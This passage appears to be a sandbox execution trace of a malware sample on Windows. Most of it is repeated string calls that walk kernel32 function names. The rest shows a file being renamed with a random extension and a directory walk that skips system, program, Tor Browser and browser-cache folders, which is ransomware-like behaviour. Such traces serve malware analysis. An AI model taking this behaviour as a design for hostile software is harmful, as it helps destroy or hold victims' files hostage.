[0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0137.789] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0137.789] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0137.789] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0137.789] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0137.789] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0137.789] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0137.790] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0137.790] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0137.790] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0137.790] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0137.790] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0137.790] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0137.790] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0137.790] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0137.790] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0137.790] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0137.790] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0137.790] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0137.790] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0137.790] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0137.790] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0137.790] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0137.790] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0137.790] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0137.790] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0137.790] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0137.790] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0137.791] lstrlenA (lpString="COPYCONTEXT") returned 11 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0137.791] lstrlenA (lpString="COPYFILE2") returned 9 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0137.791] lstrlenA (lpString="COPYFILEA") returned 9 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0137.791] lstrlenA (lpString="COPYFILEEXA") returned 11 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0137.791] lstrlenA (lpString="COPYFILEEXW") returned 11 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0137.791] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0137.791] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0137.791] lstrlenA (lpString="COPYFILEW") returned 9 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0137.791] lstrlenA (lpString="COPYLZFILE") returned 10 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0137.791] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0137.791] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0137.791] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0137.791] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0137.791] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0137.791] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0137.791] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0137.791] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0137.792] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0137.792] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0137.792] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0137.792] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0137.792] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0137.792] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0137.792] lstrlenA (lpString="CREATEEVENTA") returned 12 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0137.792] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0137.792] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0137.792] lstrlenA (lpString="CREATEEVENTW") returned 12 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0137.792] lstrlenA (lpString="CREATEFIBER") returned 11 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0137.792] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0137.792] lstrlenA (lpString="CREATEFILE2") returned 11 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0137.792] lstrlenA (lpString="CREATEFILEA") returned 11 [0137.792] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0137.792] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0137.793] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0137.793] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0137.793] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0137.793] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0137.793] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0137.793] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0137.793] lstrlenA (lpString="CREATEFILEW") returned 11 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0137.793] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0137.793] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0137.793] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0137.793] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0137.793] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0137.793] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0137.793] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0137.793] lstrlenA (lpString="CREATEJOBSET") returned 12 [0137.793] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0137.794] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0137.794] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0137.794] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0137.794] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0137.794] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0137.794] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0137.794] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0137.794] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0137.794] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0137.794] lstrlenA (lpString="CREATEPIPE") returned 10 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0137.794] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0137.794] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0137.794] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0137.794] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0137.794] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0137.794] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0137.794] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0137.795] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0137.795] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0137.795] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0137.795] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0137.795] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0137.795] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0137.795] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0137.795] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0137.795] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0137.795] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0137.795] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0137.795] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0137.795] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0137.795] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0137.795] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0137.795] lstrlenA (lpString="CREATETHREAD") returned 12 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0137.796] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0137.796] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0137.796] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0137.796] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0137.796] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0137.796] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0137.796] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0137.796] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0137.797] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.jz9nYn") returned 52 [0137.797] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.jz9nYn" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.jz9nyn"), dwFlags=0x0) returned 1 [0137.797] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.798] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.798] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.799] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0137.799] FindClose (in: hFindFile=0x3b81300 | out: hFindFile=0x3b81300) returned 1 [0137.799] CloseHandle (hObject=0x528) returned 1 [0137.799] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1055", cAlternateFileName="")) returned 1 [0137.799] lstrcmpW (lpString1="1055", lpString2=".") returned 1 [0137.799] lstrcmpW (lpString1="1055", lpString2="..") returned 1 [0137.799] lstrcatW (in: lpString1="1055", lpString2="\\" | out: lpString1="1055\\") returned="1055\\" [0137.799] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1055\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0137.799] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch=":\\Windows") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\Program Files") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\Games\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\Tor Browser\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\ProgramData\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0137.800] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1055\\", lpSrch="\\All Users") returned 0x0 [0137.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0137.800] lstrlenW (lpString="eogwkz.dat") returned 10 [0137.800] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\\\eogwkz.dat") returned 38 [0137.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1055\\eogwkz.dat"), dwDesiredAccess=0x0, 